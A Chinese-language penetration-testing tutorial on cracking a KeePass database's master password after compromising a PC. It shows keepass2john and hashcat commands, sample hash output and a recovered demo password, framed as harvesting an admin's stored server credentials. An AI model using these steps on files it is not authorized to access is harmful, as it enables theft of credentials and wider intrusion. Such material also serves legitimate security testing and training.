KeePass 是一款免费的开源密码管理器,KeePass 将密码存储为一个数据库,而这个数据库由一个主密码或密码文件锁住,也就是说我们只需要记住一个主密码,或使用一个密码文件,就可以解开这个数据库,就可以获得其他的密码内容。在渗透过程中,有时候会遇到这么一种场景:已经获取到某台PC权限或者文件访问权限,在信息收集后发现该PC安装了KeePass软件,特别是该PC如果还是运维PC,那么KeePass数据库文件价值可能会非常大,说不定很多服务器、IT访问权限的密码都存放在里面。但同时该数据库文件又已经加密了,这时候就需要我们对其进行破解。
破解KeePass Database Password主要使用两个工具。首先是用keepass2john(kali自带)把kdbx格式的数据库文件转化为hash文件。转化以后,我们cat一下,就可以看到数据库文件的hash值。
┌──(kali㉿kali)-[~/Desktop]
└─$ keepass2john Database.kdbx > keepass.hash
┌──(kali㉿kali)-[~/Desktop]
└─$ cat keepass.hash
Database:$keepass$*2*60000*0*9a54f4a6fbb01f06680e9478462cbc81c978dc2d45da082ffa60505ebf7663b5*53ec6af8b3e72f1194d0c248aa50f41de55edd41cbf13eef182f5cd208644083*dbc783f4e2b186feef84352971dac058*bd5cd83e05c489a3c41d967738403c08f8520badd9fd1c3ce91dc5960b6716fd*9568da4a31665c2044d5e321f437e9fede8dc883e838c1107140f19fb69d67a0
接着,我们再用hashcat对转化后的hash文件进行破解即可。通过--show,即可看到破解后的密码。
PS:由于keepass数据库是单密码登录,无需用户名,所以转化后的hash文件中的用户名即为文件名。在hashcat破解时,如果要无用户名破解,则需要加上--username参数,或者把hash文件中的用户名删掉。
──(kali㉿kali)-[~/Desktop]
└─$ hashcat -m 13400 keepass.hash wordlist.txt --force --username
hashcat (v6.2.6) starting
──(kali㉿kali)-[~/Desktop]
└─$ hashcat -m 13400 keepass.hash wordlist.txt --show --username
Database:$keepass$*2*60000*0*9a54f4a6fbb01f06680e9478462cbc81c978dc2d45da082ffa60505ebf7663b5*53ec6af8b3e72f1194d0c248aa50f41de55edd41cbf13eef182f5cd208644083*dbc783f4e2b186feef84352971dac058*bd5cd83e05c489a3c41d967738403c08f8520badd9fd1c3ce91dc5960b6716fd*9568da4a31665c2044d5e321f437e9fede8dc883e838c1107140f19fb69d67a0:PwC2023
以下是完整的演示过程:
https://asciinema.org/a/iNkd6H6h9wFeHggzjHB41d6As